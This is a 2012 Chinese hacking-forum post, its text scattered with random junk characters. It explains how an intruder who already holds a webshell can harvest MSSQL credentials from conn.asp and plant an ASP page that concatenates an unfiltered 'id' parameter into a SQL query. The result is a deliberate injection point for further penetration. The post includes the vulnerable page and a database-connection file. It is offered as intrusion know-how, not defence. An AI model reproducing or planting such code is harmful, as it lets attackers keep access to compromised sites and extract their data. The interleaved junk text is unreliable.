找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1757|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵
4 x7 c4 t; y" _4 V
8 r0 a' R, n( h/ W( d& c) Z" ^今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
2 {6 F! g# C6 r
# [8 ?, }/ ?1 q4 f这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!# e5 X- V! ?4 ~2 v- }

2 U" F; S0 z1 s: J首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
: t9 X$ f4 E* W( ~3 V0 ?
( [6 b" y6 ~' X密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表! R. I& E, `# Y  |$ O1 h& }1 L5 \5 I
- f( r/ @- d. B7 l
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:+ s; q( G+ J. P1 y) M8 v% A/ T
: {* S1 s; N+ V+ `
程序代码4 x1 v# ~2 r* v9 V" U% Z' S8 j
<!--#include file="xx.asp"-->
& r3 U- B, c5 z( u( E' l" p$ R<%
8 ~$ i& l# a  eset rs=server.createobject("ADODB.recordset")5 L$ d6 ^- z7 Y/ i0 W
id = request("id")
9 ~+ ?4 ~4 i  v5 R& t5 n; |, SstrSQL = "select * from admin where id=" & id9 \# ^0 u* @& I0 @4 r# C5 X
rs.open strSQL,conn,1,3! F3 i5 {/ k( a# M; K# _
rs.close
: d, d' ~5 e$ Z3 D' H: R3 n%>! a7 k$ Z( Y* t  z) z4 F% l$ s

+ S/ d; u7 _& r3 c) C/ C% ]把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在
* r9 E8 s8 [  a
# q/ J3 Q; {2 x/ x( M你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!: [- ]& Z( ~7 ]3 y3 F- a# H! |
3 m9 d  L5 p0 f+ U
然后就要构造一个连接数据库的文件了,代码如下:! L; ~5 p: P# ~, m. _3 R
程序代码
, r8 P. m- k0 v/ n5 M<%        
% q7 p8 |0 T6 f: ]6 S; d- O9 ~strSQLServerName = "000.000.000.000"     '服务器名称或地址9 t1 y1 \5 O5 R! R$ f9 p
strSQLDBUserName = "sqlname"         '数据库帐号$ K* C! S; O% Q+ x6 w
strSQLDBPassword = "sqlpass"         '数据库密码. {7 [! L& o9 A
strSQLDBName = "sqldataname"           '数据库名称, e; O& B: ^9 o3 A
Set conn = Server.CreateObject("ADODB.Connection")
5 {. ~% R+ v- n: V. N8 j4 W6 jstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
# m1 P. e, M& ^8 k8 jconn.open strCon, y( i" K  Z5 a: z) H' D
%>2 V3 m9 i1 C7 Z  E" h) E

0 d: J% p8 \% x9 }! d: j) ~- v( m这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
' Y9 z; r- m5 m. k5 H1 A6 `0 O# n  s; J
就这样,正常情况下,就OK了,伪造成功……
; L; z/ A! Z0 J7 B! ~+ L  c4 i
$ C5 T9 [" ]( O7 A# j% S           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表